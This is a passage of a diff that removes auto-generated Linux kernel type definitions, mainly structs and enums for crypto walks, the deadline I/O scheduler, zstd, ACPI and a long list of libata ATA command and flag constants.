type[64]; - char geniv[64]; - unsigned int blocksize; - unsigned int min_keysize; - unsigned int max_keysize; - unsigned int ivsize; -}; - -enum { - SKCIPHER_WALK_PHYS = 1, - SKCIPHER_WALK_SLOW = 2, - SKCIPHER_WALK_COPY = 4, - SKCIPHER_WALK_DIFF = 8, - SKCIPHER_WALK_SLEEP = 16, -}; - -struct skcipher_walk_buffer { - struct list_head entry; - struct scatter_walk dst; - unsigned int len; - u8 *data; - u8 buffer[0]; -}; - -enum dd_data_dir { - DD_READ = 0, - DD_WRITE = 1, -}; - -enum { - DD_DIR_COUNT = 2, -}; - -enum dd_prio { - DD_RT_PRIO = 0, - DD_BE_PRIO = 1, - DD_IDLE_PRIO = 2, - DD_PRIO_MAX = 2, -}; - -enum { - DD_PRIO_COUNT = 3, -}; - -struct io_stats_per_prio { - uint32_t inserted; - uint32_t merged; - uint32_t dispatched; - atomic_t completed; -}; - -struct dd_per_prio { - struct list_head dispatch; - struct rb_root sort_list[2]; - struct list_head fifo_list[2]; - struct request *next_rq[2]; - struct io_stats_per_prio stats; -}; - -struct deadline_data { - struct dd_per_prio per_prio[3]; - enum dd_data_dir last_dir; - unsigned int batching; - unsigned int starved; - int fifo_expire[2]; - int fifo_batch; - int writes_starved; - int front_merges; - u32 async_depth; - int prio_aging_expire; - spinlock_t lock; - spinlock_t zone_lock; -}; - -struct internal_state { - int dummy; -}; - -typedef enum { - set_basic = 0, - set_rle = 1, - set_compressed = 2, - set_repeat = 3, -} symbolEncodingType_e; - -typedef enum { - ZSTD_no_overlap = 0, - ZSTD_overlap_src_before_dst = 1, -} ZSTD_overlap_e; - -typedef struct { - U32 fastMode; - U32 tableLog; -} ZSTD_seqSymbol_header; - -typedef struct { - size_t litLength; - size_t matchLength; - size_t offset; - const BYTE *match; -} seq_t; - -typedef struct { - size_t state; - const ZSTD_seqSymbol *table; -} ZSTD_fseState; - -typedef struct { - BIT_DStream_t DStream; - ZSTD_fseState stateLL; - ZSTD_fseState stateOffb; - ZSTD_fseState stateML; - size_t prevOffset[3]; - const BYTE *prefixStart; - const BYTE *dictEnd; - size_t pos; -} seqState_t; - -typedef enum { - ZSTD_lo_isRegularOffset = 0, - ZSTD_lo_isLongOffset = 1, -} ZSTD_longOffset_e; - -typedef enum { - ZSTD_p_noPrefetch = 0, - ZSTD_p_prefetch = 1, -} ZSTD_prefetch_e; - -enum pcie_link_width { - PCIE_LNK_WIDTH_RESRV = 0, - PCIE_LNK_X1 = 1, - PCIE_LNK_X2 = 2, - PCIE_LNK_X4 = 4, - PCIE_LNK_X8 = 8, - PCIE_LNK_X12 = 12, - PCIE_LNK_X16 = 16, - PCIE_LNK_X32 = 32, - PCIE_LNK_WIDTH_UNKNOWN = 255, -}; - -enum pci_mmap_api { - PCI_MMAP_SYSFS = 0, - PCI_MMAP_PROCFS = 1, -}; - -struct acpi_table_bert { - struct acpi_table_header header; - u32 region_length; - u64 address; -}; - -struct acpi_table_attr { - struct bin_attribute attr; - char name[4]; - int instance; - char filename[8]; - struct list_head node; -}; - -struct acpi_data_attr { - struct bin_attribute attr; - u64 addr; -}; - -struct acpi_data_obj { - char *name; - int (*fn)(void *, struct acpi_data_attr *); -}; - -struct event_counter { - u32 count; - u32 flags; -}; - -struct acpi_create_field_info { - struct acpi_namespace_node *region_node; - struct acpi_namespace_node *field_node; - struct acpi_namespace_node *register_node; - struct acpi_namespace_node *data_register_node; - struct acpi_namespace_node *connection_node; - u8 *resource_buffer; - u32 bank_value; - u32 field_bit_position; - u32 field_bit_length; - u16 resource_length; - u16 pin_number_index; - u8 field_flags; - u8 attribute; - u8 field_type; - u8 access_length; -}; - -enum { - ATA_MAX_DEVICES = 2, - ATA_MAX_PRD = 256, - ATA_SECT_SIZE = 512, - ATA_MAX_SECTORS_128 = 128, - ATA_MAX_SECTORS = 256, - ATA_MAX_SECTORS_1024 = 1024, - ATA_MAX_SECTORS_LBA48 = 65535, - ATA_MAX_SECTORS_TAPE = 65535, - ATA_MAX_TRIM_RNUM = 64, - ATA_ID_WORDS = 256, - ATA_ID_CONFIG = 0, - ATA_ID_CYLS = 1, - ATA_ID_HEADS = 3, - ATA_ID_SECTORS = 6, - ATA_ID_SERNO = 10, - ATA_ID_BUF_SIZE = 21, - ATA_ID_FW_REV = 23, - ATA_ID_PROD = 27, - ATA_ID_MAX_MULTSECT = 47, - ATA_ID_DWORD_IO = 48, - ATA_ID_TRUSTED = 48, - ATA_ID_CAPABILITY = 49, - ATA_ID_OLD_PIO_MODES = 51, - ATA_ID_OLD_DMA_MODES = 52, - ATA_ID_FIELD_VALID = 53, - ATA_ID_CUR_CYLS = 54, - ATA_ID_CUR_HEADS = 55, - ATA_ID_CUR_SECTORS = 56, - ATA_ID_MULTSECT = 59, - ATA_ID_LBA_CAPACITY = 60, - ATA_ID_SWDMA_MODES = 62, - ATA_ID_MWDMA_MODES = 63, - ATA_ID_PIO_MODES = 64, - ATA_ID_EIDE_DMA_MIN = 65, - ATA_ID_EIDE_DMA_TIME = 66, - ATA_ID_EIDE_PIO = 67, - ATA_ID_EIDE_PIO_IORDY = 68, - ATA_ID_ADDITIONAL_SUPP = 69, - ATA_ID_QUEUE_DEPTH = 75, - ATA_ID_SATA_CAPABILITY = 76, - ATA_ID_SATA_CAPABILITY_2 = 77, - ATA_ID_FEATURE_SUPP = 78, - ATA_ID_MAJOR_VER = 80, - ATA_ID_COMMAND_SET_1 = 82, - ATA_ID_COMMAND_SET_2 = 83, - ATA_ID_CFSSE = 84, - ATA_ID_CFS_ENABLE_1 = 85, - ATA_ID_CFS_ENABLE_2 = 86, - ATA_ID_CSF_DEFAULT = 87, - ATA_ID_UDMA_MODES = 88, - ATA_ID_HW_CONFIG = 93, - ATA_ID_SPG = 98, - ATA_ID_LBA_CAPACITY_2 = 100, - ATA_ID_SECTOR_SIZE = 106, - ATA_ID_WWN = 108, - ATA_ID_LOGICAL_SECTOR_SIZE = 117, - ATA_ID_COMMAND_SET_3 = 119, - ATA_ID_COMMAND_SET_4 = 120, - ATA_ID_LAST_LUN = 126, - ATA_ID_DLF = 128, - ATA_ID_CSFO = 129, - ATA_ID_CFA_POWER = 160, - ATA_ID_CFA_KEY_MGMT = 162, - ATA_ID_CFA_MODES = 163, - ATA_ID_DATA_SET_MGMT = 169, - ATA_ID_SCT_CMD_XPORT = 206, - ATA_ID_ROT_SPEED = 217, - ATA_ID_PIO4 = 2, - ATA_ID_SERNO_LEN = 20, - ATA_ID_FW_REV_LEN = 8, - ATA_ID_PROD_LEN = 40, - ATA_ID_WWN_LEN = 8, - ATA_PCI_CTL_OFS = 2, - ATA_PIO0 = 1, - ATA_PIO1 = 3, - ATA_PIO2 = 7, - ATA_PIO3 = 15, - ATA_PIO4 = 31, - ATA_PIO5 = 63, - ATA_PIO6 = 127, - ATA_PIO4_ONLY = 16, - ATA_SWDMA0 = 1, - ATA_SWDMA1 = 3, - ATA_SWDMA2 = 7, - ATA_SWDMA2_ONLY = 4, - ATA_MWDMA0 = 1, - ATA_MWDMA1 = 3, - ATA_MWDMA2 = 7, - ATA_MWDMA3 = 15, - ATA_MWDMA4 = 31, - ATA_MWDMA12_ONLY = 6, - ATA_MWDMA2_ONLY = 4, - ATA_UDMA0 = 1, - ATA_UDMA1 = 3, - ATA_UDMA2 = 7, - ATA_UDMA3 = 15, - ATA_UDMA4 = 31, - ATA_UDMA5 = 63, - ATA_UDMA6 = 127, - ATA_UDMA7 = 255, - ATA_UDMA24_ONLY = 20, - ATA_UDMA_MASK_40C = 7, - ATA_PRD_SZ = 8, - ATA_PRD_TBL_SZ = 2048, - ATA_PRD_EOT = -2147483648, - ATA_DMA_TABLE_OFS = 4, - ATA_DMA_STATUS = 2, - ATA_DMA_CMD = 0, - ATA_DMA_WR = 8, - ATA_DMA_START = 1, - ATA_DMA_INTR = 4, - ATA_DMA_ERR = 2, - ATA_DMA_ACTIVE = 1, - ATA_HOB = 128, - ATA_NIEN = 2, - ATA_LBA = 64, - ATA_DEV1 = 16, - ATA_DEVICE_OBS = 160, - ATA_DEVCTL_OBS = 8, - ATA_BUSY = 128, - ATA_DRDY = 64, - ATA_DF = 32, - ATA_DSC = 16, - ATA_DRQ = 8, - ATA_CORR = 4, - ATA_SENSE = 2, - ATA_ERR = 1, - ATA_SRST = 4, - ATA_ICRC = 128, - ATA_BBK = 128, - ATA_UNC = 64, - ATA_MC = 32, - ATA_IDNF = 16, - ATA_MCR = 8, - ATA_ABORTED = 4, - ATA_TRK0NF = 2, - ATA_AMNF = 1, - ATAPI_LFS = 240, - ATAPI_EOM = 2, - ATAPI_ILI = 1, - ATAPI_IO = 2, - ATAPI_COD = 1, - ATA_REG_DATA = 0, - ATA_REG_ERR = 1, - ATA_REG_NSECT = 2, - ATA_REG_LBAL = 3, - ATA_REG_LBAM = 4, - ATA_REG_LBAH = 5, - ATA_REG_DEVICE = 6, - ATA_REG_STATUS = 7, - ATA_REG_FEATURE = 1, - ATA_REG_CMD = 7, - ATA_REG_BYTEL = 4, - ATA_REG_BYTEH = 5, - ATA_REG_DEVSEL = 6, - ATA_REG_IRQ = 2, - ATA_CMD_DEV_RESET = 8, - ATA_CMD_CHK_POWER = 229, - ATA_CMD_STANDBY = 226, - ATA_CMD_IDLE = 227, - ATA_CMD_EDD = 144, - ATA_CMD_DOWNLOAD_MICRO = 146, - ATA_CMD_DOWNLOAD_MICRO_DMA = 147, - ATA_CMD_NOP = 0, - ATA_CMD_FLUSH = 231, - ATA_CMD_FLUSH_EXT = 234, - ATA_CMD_ID_ATA = 236, - ATA_CMD_ID_ATAPI = 161, - ATA_CMD_SERVICE = 162, - ATA_CMD_READ = 200, - ATA_CMD_READ_EXT = 37, - ATA_CMD_READ_QUEUED = 38, - ATA_CMD_READ_STREAM_EXT = 43, - ATA_CMD_READ_STREAM_DMA_EXT = 42, - ATA_CMD_WRITE = 202, - ATA_CMD_WRITE_EXT = 53, - ATA_CMD_WRITE_QUEUED = 54, - ATA_CMD_WRITE_STREAM_EXT = 59, - ATA_CMD_WRITE_STREAM_DMA_EXT = 58, - ATA_CMD_WRITE_FUA_EXT = 61, - ATA_CMD_WRITE_QUEUED_FUA_EXT = 62, - ATA_CMD_FPDMA_READ = 96, - ATA_CMD_FPDMA_WRITE = 97, - ATA_CMD_NCQ_NON_DATA = 99, - ATA_CMD_FPDMA_SEND = 100, - ATA_CMD_FPDMA_RECV = 101, - ATA_CMD_PIO_READ = 32, - ATA_CMD_PIO_READ_EXT = 36, - ATA_CMD_PIO_WRITE = 48, - ATA_CMD_PIO_WRITE_EXT = 52, - ATA_CMD_READ_MULTI = 196, - ATA_CMD_READ_MULTI_EXT = 41, - ATA_CMD_WRITE_MULTI = 197, - ATA_CMD_WRITE_MULTI_EXT = 57, - ATA_CMD_WRITE_MULTI_FUA_EXT = 206, - ATA_CMD_SET_FEATURES = 239, - ATA_CMD_SET_MULTI = 198, - ATA_CMD_PACKET = 160, - ATA_CMD_VERIFY = 64, - ATA_CMD_VERIFY_EXT = 66, - ATA_CMD_WRITE_UNCORR_EXT = 69, - ATA_CMD_STANDBYNOW1 = 224, - ATA_CMD_IDLEIMMEDIATE = 225, - ATA_CMD_SLEEP = 230, - ATA_CMD_INIT_DEV_PARAMS = 145, - ATA_CMD_READ_NATIVE_MAX = 248, - ATA_CMD_READ_NATIVE_MAX_EXT = 39, - ATA_CMD_SET_MAX = 249, - ATA_CMD_SET_MAX_EXT = 55, - ATA_CMD_READ_LOG_EXT = 47, - ATA_CMD_WRITE_LOG_EXT = 63, - ATA_CMD_READ_LOG_DMA_EXT = 71, - ATA_CMD_WRITE_LOG_DMA_EXT = 87, - ATA_CMD_TRUSTED_NONDATA = 91, - ATA_CMD_TRUSTED_RCV = 92, - ATA_CMD_TRUSTED_RCV_DMA = 93, - ATA_CMD_TRUSTED_SND = 94, - ATA_CMD_TRUSTED_SND_DMA = 95, - ATA_CMD_PMP_READ = 228, - ATA_CMD_PMP_READ_DMA = 233, - ATA_CMD_PMP_WRITE = 232, - ATA_CMD_PMP_WRITE_DMA = 235, - ATA_CMD_CONF_OVERLAY = 177, - ATA_CMD_SEC_SET_PASS = 241, - ATA_CMD_SEC_UNLOCK = 242, - ATA_CMD_SEC_ERASE_PREP = 243, - ATA_CMD_SEC_ERASE_UNIT = 244, - ATA_CMD_SEC_FREEZE_LOCK = 245, - ATA_CMD_SEC_DISABLE_PASS = 246, - ATA_CMD_CONFIG_STREAM = 81, - ATA_CMD_SMART = 176, - ATA_CMD_MEDIA_LOCK = 222, - ATA_CMD_MEDIA_UNLOCK = 223, - ATA_CMD_DSM = 6, - ATA_CMD_CHK_MED_CRD_TYP = 209, - ATA_CMD_CFA_REQ_EXT_ERR = 3, - ATA_CMD_CFA_WRITE_NE = 56, - ATA_CMD_CFA_TRANS_SECT = 135, - ATA_CMD_CFA_ERASE = 192, - ATA_CMD_CFA_WRITE_MULT_NE = 205, - ATA_CMD_REQ_SENSE_DATA = 11, - ATA_CMD_SANITIZE_DEVICE = 180, - ATA_CMD_ZAC_MGMT_IN = 74, - ATA_CMD_ZAC_MGMT_OUT = 159, - ATA_CMD_RESTORE = 16, - ATA_SUBCMD_FPDMA_RECV_RD_LOG_DMA_EXT = 1, - ATA_SUBCMD_FPDMA_RECV_ZAC_MGMT_IN = 2, - ATA_SUBCMD_FPDMA_SEND_DSM = 0, - ATA_SUBCMD_FPDMA_SEND_WR_LOG_DMA_EXT = 2, - ATA_SUBCMD_NCQ_NON_DATA_ABORT_QUEUE = 0, - ATA_SUBCMD_NCQ_NON_DATA_SET_FEATURES = 5, - ATA_SUBCMD_NCQ_NON_DATA_ZERO_EXT = 6, - ATA_SUBCMD_NCQ_NON_DATA_ZAC_MGMT_OUT = 7, - ATA_SUBCMD_ZAC_MGMT_IN_REPORT_ZONES = 0, - ATA_SUBCMD_ZAC_MGMT_OUT_CLOSE_ZONE = 1, - ATA_SUBCMD_ZAC_MGMT_OUT_FINISH_ZONE = 2, - ATA_SUBCMD_ZAC_MGMT_OUT_OPEN_ZONE = 3, - ATA_SUBCMD_ZAC_MGMT_OUT_RESET_WRITE_POINTER = 4, - ATA_LOG_DIRECTORY = 0, - ATA_LOG_SATA_NCQ = 16, - ATA_LOG_NCQ_NON_DATA = 18, - ATA_LOG_NCQ_SEND_RECV = 19, - ATA_LOG_IDENTIFY_DEVICE = 48, - ATA_LOG_CONCURRENT_POSITIONING_RANGES = 71, - ATA_LOG_SECURITY = 6, - ATA_LOG_SATA_SETTINGS = 8, - ATA_LOG_ZONED_INFORMATION = 9, - ATA_LOG_DEVSLP_OFFSET = 48, - ATA_LOG_DEVSLP_SIZE = 8, - ATA_LOG_DEVSLP_MDAT = 0, - ATA_LOG_DEVSLP_MDAT_MASK = 31, - ATA_LOG_DEVSLP_DETO = 1, - ATA_LOG_DEVSLP_VALID = 7, - ATA_LOG_DEVSLP_VALID_MASK = 128, - ATA_LOG_NCQ_PRIO_OFFSET = 9, - ATA_LOG_NCQ_SEND_RECV_SUBCMDS_OFFSET = 0, - ATA_LOG_NCQ_SEND_RECV_SUBCMDS_DSM = 1, - ATA_LOG_NCQ_SEND_RECV_DSM_OFFSET = 4, - ATA_LOG_NCQ_SEND_RECV_DSM_TRIM = 1, - ATA_LOG_NCQ_SEND_RECV_RD_LOG_OFFSET = 8, - ATA_LOG_NCQ_SEND_RECV_RD_LOG_SUPPORTED = 1, - ATA_LOG_NCQ_SEND_RECV_WR_LOG_OFFSET = 12, - ATA_LOG_NCQ_SEND_RECV_WR_LOG_SUPPORTED = 1, - ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OFFSET = 16, - ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OUT_SUPPORTED = 1, - ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_IN_SUPPORTED = 2, - ATA_LOG_NCQ_SEND_RECV_SIZE = 20, - ATA_LOG_NCQ_NON_DATA_SUBCMDS_OFFSET = 0, - ATA_LOG_NCQ_NON_DATA_ABORT_OFFSET = 0, - ATA_LOG_NCQ_NON_DATA_ABORT_NCQ = 1, - ATA_LOG_NCQ_NON_DATA_ABORT_ALL = 2, - ATA_LOG_NCQ_NON_DATA_ABORT_STREAMING = 4, - ATA_LOG_NCQ_NON_DATA_ABORT_NON_STREAMING = 8, - ATA_LOG_NCQ_NON_DATA_ABORT_SELECTED = 16, - ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OFFSET = 28, - ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OUT = 1, - ATA_LOG_NCQ_NON_DATA_SIZE = 64, - ATA_CMD_READ_LONG = 34, - ATA_CMD_READ_LONG_ONCE = 35, - ATA_CMD_WRITE_LONG = 50, - ATA_CMD_WRITE_LONG_ONCE = 51, - SETFEATURES_XFER = 3, - XFER_UDMA_7 = 71, - XFER_UDMA_6 = 70, - XFER_UDMA_5 = 69, - XFER_UDMA_4 = 68, - XFER_UDMA_3 = 67, - XFER_UDMA_2 = 66, - XFER_UDMA_1 = 65, - XFER_UDMA_0 = 64, - XFER_MW_DMA_4 = 36, - XFER_MW_DMA_3 = 35, - XFER_MW_DMA_2 = 34, - XFER_MW_DMA_1 = 33, - XFER_MW_DMA_0 = 32, - XFER_SW_DMA_2 = 18, - XFER_SW_DMA_1 = 17, - XFER_SW_DMA_0 = 16, - XFER_PIO_6 = 14, - XFER_PIO_5 = 13, - XFER_PIO_4 = 12, - XFER_PIO_3 = 11, - XFER_PIO_2 = 10, - XFER_PIO_1 = 9, - XFER_PIO_0 = 8, - XFER_PIO_SLOW = 0, - SETFEATURES_WC_ON = 2, - SETFEATURES_WC_OFF = 130, - SETFEATURES_RA_ON = 170, - SETFEATURES_RA_OFF = 85, - SETFEATURES_AAM_ON = 66, - SETFEATURES_AAM_OFF = 194, - SETFEATURES_SPINUP = 7, - SETFEATURES_SPINUP_TIMEOUT = 30000, - SETFEATURES_SATA_ENABLE = 16, - SETFEATURES_SATA_DISABLE = 144, - SATA_FPDMA_OFFSET = 1, - SATA_FPDMA_AA = 2, - SATA_DIPM = 3, - SATA_FPDMA_IN_ORDER = 4, - SATA_AN = 5, - SATA_SSP = 6, - SATA_DEVSLP = 9, - SETFEATURE_SENSE_DATA = 195, - ATA_SET_MAX_ADDR = 0, - ATA_SET_MAX_PASSWD = 1, - ATA_SET_MAX_LOCK = 2, - ATA_SET_MAX_UNLOCK = 3, - ATA_SET_MAX_FREEZE_LOCK = 4, - ATA_SET_MAX_PASSWD_DMA = 5, - ATA_SET_MAX_UNLOCK_DMA = 6, - ATA_DCO_RESTORE = 192, - ATA_DCO_FREEZE_LOCK = 193, - ATA_DCO_IDENTIFY = 194, - ATA_DCO_SET = 195, - ATA_SMART_ENABLE = 216, - ATA_SMART_READ_VALUES = 208, - ATA_SMART_READ_THRESHOLDS = 209, - ATA_DSM_TRIM = 1, - ATA_SMART_LBAM_PASS = 79, - ATA_SMART_LBAH_PASS = 194, - ATAPI_PKT_DMA = 1, - ATAPI_DMADIR = 4, - ATAPI_CDB_LEN = 16, - SATA_PMP_MAX_PORTS = 15, - SATA_PMP_CTRL_PORT = 15, - SATA_PMP_GSCR_DWORDS = 128, - SATA_PMP_GSCR_PROD_ID = 0, - SATA_PMP_GSCR_REV = 1, - SATA_PMP_GSCR_PORT_INFO = 2, - SATA_PMP_GSCR_ERROR = 32, - SATA_PMP_GSCR_ERROR_EN = 33, - SATA_PMP_GSCR_FEAT = 64, - SATA_PMP_GSCR_FEAT_EN = 96, - SATA_PMP_PSCR_STATUS = 0, - SATA_PMP_PSCR_ERROR = 1, - SATA_PMP_PSCR_CONTROL = 2, - SATA_PMP_FEAT_BIST = 1, - SATA_PMP_FEAT_PMREQ = 2, - SATA_PMP_FEAT_DYNSSC = 4, - SATA_PMP_FEAT_NOTIFY = 8, - ATA_CBL_NONE = 0, - ATA_CBL_PATA40 = 1, - ATA_CBL_PATA80 = 2, - ATA_CBL_PATA40_SHORT = 3, - ATA_CBL_PATA_UNK = 4, - ATA_CBL_PATA_IGN = 5, - ATA_CBL_SATA = 6, - SCR_STATUS = 0, - SCR_ERROR = 1, - SCR_CONTROL = 2, - SCR_ACTIVE = 3, - SCR_NOTIFICATION = 4, - SERR_DATA_RECOVERED = 1, - SERR_COMM_RECOVERED = 2, - SERR_DATA = 256, - SERR_PERSISTENT = 512, - SERR_PROTOCOL = 1024, - SERR_INTERNAL = 2048, - SERR_PHYRDY_CHG = 65536, - SERR_PHY_INT_ERR = 131072, - SERR_COMM_WAKE = 262144, - SERR_10B_8B_ERR = 524288, - SERR_DISPARITY = 1048576, - SERR_CRC = 2097152, - SERR_HANDSHAKE = 4194304, - SERR_LINK_SEQ_ERR = 8388608, - SERR_TRANS_ST_ERROR = 16777216, - SERR_UNRECOG_FIS = 33554432, - SERR_DEV_XCHG = 67108864, -}; - -enum { - LIBATA_MAX_PRD = 128, - LIBATA_DUMB_MAX_PRD = 64, - ATA_DEF_QUEUE = 1, - ATA_MAX_QUEUE = 32, - ATA_TAG_INTERNAL = 32, - ATA_SHORT_PAUSE = 16, - ATAPI_MAX_DRAIN = 16384, - ATA_ALL_DEVICES = 3, - ATA_SHT_EMULATED = 1, - ATA_SHT_THIS_ID = -1, - ATA_TFLAG_LBA48 = 1, - ATA_TFLAG_ISADDR = 2, - ATA_TFLAG_DEVICE = 4, - ATA_TFLAG_WRITE = 8, - ATA_TFLAG_LBA = 16, - ATA_TFLAG_FUA = 32, - ATA_TFLAG_POLLING = 64, - ATA_DFLAG_LBA = 1, - ATA_DFLAG_LBA48 = 2, - ATA_DFLAG_CDB_INTR = 4, - ATA_DFLAG_NCQ = 8, - ATA_DFLAG_FLUSH_EXT = 16, - ATA_DFLAG_ACPI_PENDING = 32, - ATA_DFLAG_ACPI_FAILED = 64, - ATA_DFLAG_AN = 128, - ATA_DFLAG_TRUSTED = 256, - ATA_DFLAG_DMADIR = 1024, - ATA_DFLAG_CFG_MASK = 4095, - ATA_DFLAG_PIO = 4096, - ATA_DFLAG_NCQ_OFF = 8192, - ATA_DFLAG_SLEEPING = 32768, - ATA_DFLAG_DUBIOUS_XFER = 65536, - ATA_DFLAG_NO_UNLOAD = 131072, - ATA_DFLAG_UNLOCK_HPA = 262144, - ATA_DFLAG_NCQ_SEND_RECV = 524288, - ATA_DFLAG_NCQ_PRIO = 1048576, - ATA_DFLAG_NCQ_PRIO_ENABLED = 2097152, - ATA_DFLAG_INIT_MASK = 16777215, - ATA_DFLAG_DETACH = 16777216, - ATA_DFLAG_DETACHED = 33554432, - ATA_DFLAG_DA = 67108864, - ATA_DFLAG_DEVSLP = 134217728, - ATA_DFLAG_ACPI_DISABLED = 268435456, - ATA_DFLAG_D_SENSE = 536870912, - ATA_DFLAG_ZAC = 1073741824, - ATA_DFLAG_FEATURES_MASK = 202899712, - ATA_DEV_UNKNOWN = 0, - ATA_DEV_ATA = 1, - ATA_DEV_ATA_UNSUP = 2, - ATA_DEV_ATAPI = 3, - ATA_DEV_ATAPI_UNSUP = 4, - ATA_DEV_PMP = 5, - ATA_DEV_PMP_UNSUP = 6, - ATA_DEV_SEMB = 7, - ATA_DEV_SEMB_UNSUP = 8, - ATA_DEV_ZAC = 9, - ATA_DEV_ZAC_UNSUP = 10, - ATA_DEV_NONE = 11, - ATA_LFLAG_NO_HRST = 2, - ATA_LFLAG_NO_SRST = 4, - ATA_LFLAG_ASSUME_ATA = 8, - ATA_LFLAG_ASSUME_SEMB = 16, - ATA_LFLAG_ASSUME_CLASS = 24, - ATA_LFLAG_NO_RETRY = 32, - ATA_LFLAG_DISABLED = 64, - ATA_LFLAG_SW_ACTIVITY = 128, - ATA_LFLAG_NO_LPM = 256, - ATA_LFLAG_RST_ONCE = 512, - ATA_LFLAG_CHANGED = 1024, - ATA_LFLAG_NO_DEBOUNCE_DELAY = 2048, - ATA_FLAG_SLAVE_POSS = 1, - ATA_FLAG_SATA = 2, - ATA_FLAG_NO_LPM = 4, - ATA_FLAG_NO_LOG_PAGE = 32, - ATA_FLAG_NO_ATAPI = 64, - ATA_FLAG_PIO_DMA = 128, - ATA_FLAG_PIO_LBA48 = 256, - ATA_FLAG_PIO_POLLING = 512, - ATA_FLAG_NCQ = 1024, - ATA_FLAG_NO_POWEROFF_SPINDOWN = 2048, - ATA_FLAG_NO_HIBERNATE_SPINDOWN = 4096, - ATA_FLAG_DEBUGMSG = 8192, - ATA_FLAG_FPDMA_AA = 16384, - ATA_FLAG_IGN_SIMPLEX = 32768, - ATA_FLAG_NO_IORDY = 65536, - ATA_FLAG_ACPI_SATA = 131072, - ATA_FLAG_AN = 262144, - ATA_FLAG_PMP = 524288, - ATA_FLAG_FPDMA_AUX = 1048576, - ATA_FLAG_EM = 2097152, - ATA_FLAG_SW_ACTIVITY = 4194304, - ATA_FLAG_NO_DIPM = 8388608, - ATA_FLAG_SAS_HOST = 16777216, - ATA_PFLAG_EH_PENDING = 1, - ATA_PFLAG_EH_IN_PROGRESS = 2, - ATA_PFLAG_FROZEN = 4, - ATA_PFLAG_RECOVERED = 8, - ATA_PFLAG_LOADING = 16, - ATA_PFLAG_SCSI_HOTPLUG = 64, - ATA_PFLAG_INITIALIZING = 128, - ATA_PFLAG_RESETTING = 256, - ATA_PFLAG_UNLOADING = 512, - ATA_PFLAG_UNLOADED = 1024, - ATA_PFLAG_SUSPENDED = 131072, - ATA_PFLAG_PM_PENDING = 262144, - ATA_PFLAG_INIT_GTM_VALID = 524288, - ATA_PFLAG_PIO32 = 1048576, - ATA_PFLAG_PIO32CHANGE = 2097152, - ATA_PFLAG_EXTERNAL = 4194304, - ATA_QCFLAG_ACTIVE = 1, - ATA_QCFLAG_DMAMAP = 2, - ATA_QCFLAG_IO = 8, - ATA_QCFLAG_RESULT_TF = 16, - ATA_QCFLAG_CLEAR_EXCL = 32, - ATA_QCFLAG_QUIET = 64, - ATA_QCFLAG_RETRY = 128, - ATA_QCFLAG_FAILED = 65536, - ATA_QCFLAG_SENSE_VALID = 131072, - ATA_QCFLAG_EH_SCHEDULED = 262144, - ATA_HOST_SIMPLEX = 1, - ATA_HOST_STARTED = 2, - ATA_HOST_PARALLEL_SCAN = 4, - ATA_HOST_IGNORE_ATA = 8, - ATA_TMOUT_BOOT = 30000, - ATA_TMOUT_BOOT_QUICK = 7000, - ATA_TMOUT_INTERNAL_QUICK = 5000, - ATA_TMOUT_MAX_PARK = 30000, - ATA_TMOUT_FF_WAIT_LONG = 2000, - ATA_TMOUT_FF_WAIT = 800, - ATA_WAIT_AFTER_RESET = 150, - ATA_TMOUT_PMP_SRST_WAIT = 5000, - ATA_TMOUT_SPURIOUS_PHY = 10000, - BUS_UNKNOWN = 0, - BUS_DMA = 1, - BUS_IDLE = 2, - BUS_NOINTR = 3, - BUS_NODATA = 4, - BUS_TIMER = 5, - BUS_PIO = 6, - BUS_EDD = 7, - BUS_IDENTIFY = 8, - BUS_PACKET = 9, - PORT_UNKNOWN = 0, - PORT_ENABLED = 1, - PORT_DISABLED = 2, - ATA_NR_PIO_MODES = 7, - ATA_NR_MWDMA_MODES = 5, - ATA_NR_UDMA_MODES = 8, - ATA_SHIFT_PIO = 0, - ATA_SHIFT_MWDMA = 7, - ATA_SHIFT_UDMA = 12, - ATA_SHIFT_PRIO = 6, - ATA_PRIO_HIGH = 2, - ATA_DMA_PAD_SZ = 4, - ATA_ERING_SIZE = 32, - ATA_DEFER_LINK = 1, - ATA_DEFER_PORT = 2, - ATA_EH_DESC_LEN = 80, - ATA_EH_REVALIDATE = 1, - ATA_EH_SOFTRESET = 2, - ATA_EH_HARDRESET = 4, - ATA_EH_RESET = 6, - ATA_EH_ENABLE_LINK = 8, - ATA_EH_PARK = 32, - ATA_EH_PERDEV_MASK = 33, - ATA_EH_ALL_ACTIONS = 15, - ATA_EHI_HOTPLUGGED = 1, - ATA_EHI_NO_AUTOPSY = 4, - ATA_EHI_QUIET = 8, - ATA_EHI_NO_RECOVERY = 16, - ATA_EHI_DID_SOFTRESET = 65536, - ATA_EHI_DID_HARDRESET = 131072, - ATA_EHI_PRINTINFO = 262144, - ATA_EHI_SETMODE = 524288, - ATA_EHI_POST_SETMODE = 1048576, - ATA_EHI_DID_RESET = 196608, - ATA_EHI_TO_SLAVE_MASK = 12, - ATA_EH_MAX_TRIES = 5, - ATA_LINK_RESUME_TRIES = 5, - ATA_PROBE_MAX_TRIES = 3, - ATA_EH_DEV_TRIES = 3, - ATA_EH_PMP_TRIES = 5, - ATA_EH_PMP_LINK_TRIES = 3, - SATA_PMP_RW_TIMEOUT = 3000, - ATA_EH_CMD_TIMEOUT_TABLE_SIZE = 7, - ATA_HORKAGE_DIAGNOSTIC = 1, - ATA_HORKAGE_NODMA = 2, - ATA_HORKAGE_NONCQ = 4, - ATA_HORKAGE_MAX_SEC_128 = 8, - ATA_HORKAGE_BROKEN_HPA = 16, - ATA_HORKAGE_DISABLE = 32, - ATA_HORKAGE_HPA_SIZE = 64, - ATA_HORKAGE_IVB = 256, - ATA_HORKAGE_STUCK_ERR = 512, - ATA_HORKAGE_BRIDGE_OK = 1024, - ATA_HORKAGE_ATAPI_MOD16_DMA = 2048, - ATA_HORKAGE_FIRMWARE_WARN = 4096, - ATA_HORKAGE_1_5_GBPS = 8192, - ATA_HORKAGE_NOSETXFER = 16384, - ATA_HORKAGE_BROKEN_FPDMA_AA = 32768, - ATA_HORKAGE_DUMP_ID = 65536, - ATA_HORKAGE_MAX_SEC_LBA48 = 131072, - ATA_HORKAGE_ATAPI_DMADIR = 262144, - ATA_HORKAGE_NO_NCQ_TRIM = 524288, - ATA_HORKAGE_NOLPM = 1048576, - ATA_HORKAGE_WD_BROKEN_LPM = 2097152, - 